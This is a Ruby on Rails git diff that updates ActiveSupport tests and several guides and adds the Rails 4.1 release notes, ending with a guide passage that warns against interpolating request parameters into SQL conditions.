@@ -328,7 +354,7 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
end
- def test_to_json_should_not_keep_options_around
+ def test_hash_to_json_should_not_keep_options_around
f = CustomWithOptions.new
f.foo = "hello"
f.bar = "world"
@@ -338,6 +364,16 @@ class TestJSONEncoding < ActiveSupport::TestCase
"other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, ActiveSupport::JSON.decode(hash.to_json))
end
+ def test_array_to_json_should_not_keep_options_around
+ f = CustomWithOptions.new
+ f.foo = "hello"
+ f.bar = "world"
+
+ array = [f, {"foo" => "other_foo", "test" => "other_test"}]
+ assert_equal([{"foo"=>"hello","bar"=>"world"},
+ {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json))
+ end
+
def test_hash_as_json_without_options
json = { foo: OptionsTest.new }.as_json
assert_equal({"foo" => :default}, json)
@@ -379,17 +415,6 @@ class TestJSONEncoding < ActiveSupport::TestCase
ActiveSupport::JSON.decode(json_string_and_date))
end
- def test_opt_out_big_decimal_string_serialization
- big_decimal = BigDecimal('2.5')
-
- begin
- ActiveSupport.encode_big_decimal_as_string = false
- assert_equal big_decimal.to_s, big_decimal.to_json
- ensure
- ActiveSupport.encode_big_decimal_as_string = true
- end
- end
-
def test_nil_true_and_false_represented_as_themselves
assert_equal nil, nil.as_json
assert_equal true, true.as_json
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 203156baa1..b6c0a08b05 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -66,6 +66,17 @@ class MessageEncryptorTest < ActiveSupport::TestCase
ActiveSupport.use_standard_json_time_format = prev
end
+ def test_message_obeys_strict_encoding
+ bad_encoding_characters = "\n!@#"
+ message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+ assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+ assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+ assert_not_decrypted([iv, message] * bad_encoding_characters)
+ assert_not_verified([iv, message] * bad_encoding_characters)
+ end
+
private
def assert_not_decrypted(value)
@@ -81,7 +92,7 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def munge(base64_string)
- bits = ::Base64.decode64(base64_string)
+ bits = ::Base64.strict_decode64(base64_string)
bits.reverse!
::Base64.strict_encode64(bits)
end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index f0f261d710..f208814468 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -11,7 +11,7 @@ require 'active_support/time'
require 'active_support/json'
class MessageVerifierTest < ActiveSupport::TestCase
-
+
class JSONSerializer
def dump(value)
ActiveSupport::JSON.encode(value)
@@ -21,7 +21,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
ActiveSupport::JSON.decode(value)
end
end
-
+
def setup
@verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
@data = { :some => "data", :now => Time.local(2010) }
@@ -43,7 +43,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
assert_not_verified("#{data}--#{hash.reverse}")
assert_not_verified("purejunk")
end
-
+
def test_alternative_serialization_method
prev = ActiveSupport.use_standard_json_time_format
ActiveSupport.use_standard_json_time_format = true
@@ -54,7 +54,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
ensure
ActiveSupport.use_standard_json_time_format = prev
end
-
+
def assert_not_verified(message)
assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
@verifier.verify(message)
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 1fadef3637..111db59b2b 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -102,7 +102,6 @@ module ActiveSupport
assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
- assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
end
end
@@ -370,12 +369,6 @@ module ActiveSupport
end
end
- def test_extending_or_including_number_helper_correctly_hides_private_methods
- [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
- assert !number_helper.respond_to?(:valid_float?)
- assert number_helper.respond_to?(:valid_float?, true)
- end
- end
end
end
end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 84c3154e53..1107b48460 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -89,16 +89,38 @@ class TimeZoneTest < ActiveSupport::TestCase
end
def test_today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
end
+ def test_tomorrow
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ end
+
+ def test_yesterday
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].yesterday
+ end
+
def test_local
time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
index 2435444dc9..d95354e12d 100644
--- a/guides/bug_report_templates/active_record_master.rb
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -2,6 +2,7 @@ unless File.exist?('Gemfile')
File.write('Gemfile', <<-GEMFILE)
source 'https://rubygems.org'
gem 'rails', github: 'rails/rails'
+ gem 'arel', github: 'rails/arel'
gem 'sqlite3'
GEMFILE
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/guides/code/getting_started/public/robots.txt
+++ b/guides/code/getting_started/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-agent: *
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index c11d1240c4..522f628a7e 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da
* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
* The included TzInfo library has been upgraded to version 0.3.12.
-* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
Railties
--------
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000000..5c50ed83ea
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,504 @@
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Variants
+* Spring
+* Action View extracted from Action Pack
+
+These release notes cover only the major changes. To know about various bug
+fixes and changes, please refer to the change logs or check out the
+[list of commits](https://github.com/rails/rails/commits/master) in the main
+Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Variants
+
+We often want to render different html/json/xml templates for phones,
+tablets, and desktop browsers. Variants makes it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a before_action:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+### Spring
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage preloaded
+spring environments.
+
+**running rake tasks:**
+
+```
+bin/rake routes
+```
+
+**running tests:**
+
+```
+bin/rake test
+bin/rake test test/models
+bin/rake test test/models/user_test.rb
+```
+
+**running a console:**
+
+```
+bin/rails console
+```
+
+**spring introspection:**
+
+```
+$ bundle exec spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app | my_app | started 23 secs ago | test mode
+ 3746 spring app | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/jonleighton/spring/blob/master/README.md) to
+see a all available features.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+ enum status: [ :active, :archived ]
+end
+
+conversation.archive!
+conversation.active? # => false
+conversation.status # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+```
+
+See
+[active_record/enum.rb](https://github.com/rails/rails/blob/4-1-stable/activerecord/lib/active_record/enum.rb#L2-L42)
+for a detailed write up.
+
+### Application message verifier.
+
+Create a message verifier that can be used to generate and verify signed
+messages in the application.
+
+```ruby
+message = Rails.application.message_verifier('salt').generate('my sensible data')
+Rails.application.message_verifier('salt').verify(message)
+# => 'my sensible data'
+```
+
+Documentation
+-------------
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+ `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+ preloader](https://github.com/jonleighton/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in
+ production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+ failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+ configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Add `Application#message_verifier` method to return a message
+ verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+ generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+ validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+ `ActiveModel::Dirty` that control changes state.
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+ no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+ JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_fromat`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+ `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+ `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+ `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+ object.blank?` and `assert object.present?` instead.
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+ explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+ ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+ `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+ has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12785) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+ been extracetd into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/13060) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+ JSON gem rather than doing custom encoding in pure-Ruby.
+ ([Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12862) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+ methods change current time to the given time or time difference by stubbing
+ `Time.now` and
+ `Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+ them to JavaScript functions like
+ `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+ methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+ `at_middle_of_day` as
+ aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+ `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Removed 'cow' => 'kine' irregular inflection from default
+ inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+ `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+ ActionController::AbstractRequest => ActionDispatch::Request
+ ActionController::Request => ActionDispatch::Request
+ ActionController::AbstractResponse => ActionDispatch::Response
+ ActionController::Response => ActionDispatch::Response
+ ActionController::Routing => ActionDispatch::Routing
+ ActionController::Integration => ActionDispatch::Integration
+ ActionController::IntegrationTest => ActionDispatch::IntegrationTest
+
+### Notable changes
+
+* `#url_for` takes a hash with options inside an
+ array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+ [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+ with the exception that the returned value is always saved into the
+ session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+ Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+ `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+ with `d:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+ methodd. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+ `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+ suite. The class is no longer public and is only used for internal
+ Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+ in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+ and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+ Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+ `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+ explicitly to mark records as
+ `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated the delegation of Array bang methods for associations.
+ To use them, instead first call `#to_a` on the association to access the
+ array to be acted
+ on. ([Pull Request](https://github.com/rails/rails/pull/12129))
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+ as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+### Notable changes
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+ a model's attribute or
+ method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+ models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+ `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+ `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+ named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+ attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+ map to integers in the database, but can be queried by
+ name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+ from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+ with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+ generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+ gets a `nil` argument. More specifically, it will throw an error if the
+ argument that it gets passed does not respond to to
+ `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+ query to fetch results rather than loading the entire
+ collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+ connection. This means that calling `inspect`, when the database is missing,
+ will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+ invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+ `:inverse_of` option on the association, then Active Record will guess the
+ inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+ ActiveRecord will now translate aliased attribute names to the actual column
+ name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on modules
+ included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 93c177905c..27c53689c4 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -15,7 +15,7 @@
</p>
<% end %>
<p>
- The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.15/">http://guides.rubyonrails.org/v3.2.15/</a>.
+ The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.16/">http://guides.rubyonrails.org/v3.2.16/</a>.
</p>
<p>
The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index d19dd11181..769be9840c 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
```erb
-<%= render @products, spacer_template: "product_ruler" %>
+<%= render partial: @products, spacer_template: "product_ruler" %>
```
Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
@@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # =>
#### auto_discovery_link_tag
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
@@ -1143,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world.
#### country_select
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
#### option_groups_from_collection_for_select
@@ -1242,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world.
#### time_zone_select
-Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
```ruby
time_zone_select( "user", "time_zone")
@@ -1258,7 +1258,7 @@ date_field("user", "dob")
### FormTagHelper
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
#### check_box_tag
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index ac5e8ffc0c..863da3be72 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -358,4 +358,4 @@ end
NOTE: the `:on` option specifies when a callback will be fired. If you
don't supply the `:on` option the callback will fire for every action.
-The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
+WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 94b8453f04..4725e2c8a2 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -436,7 +436,7 @@ to this code:
Client.where("orders_count = #{params[:orders]}")
```
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
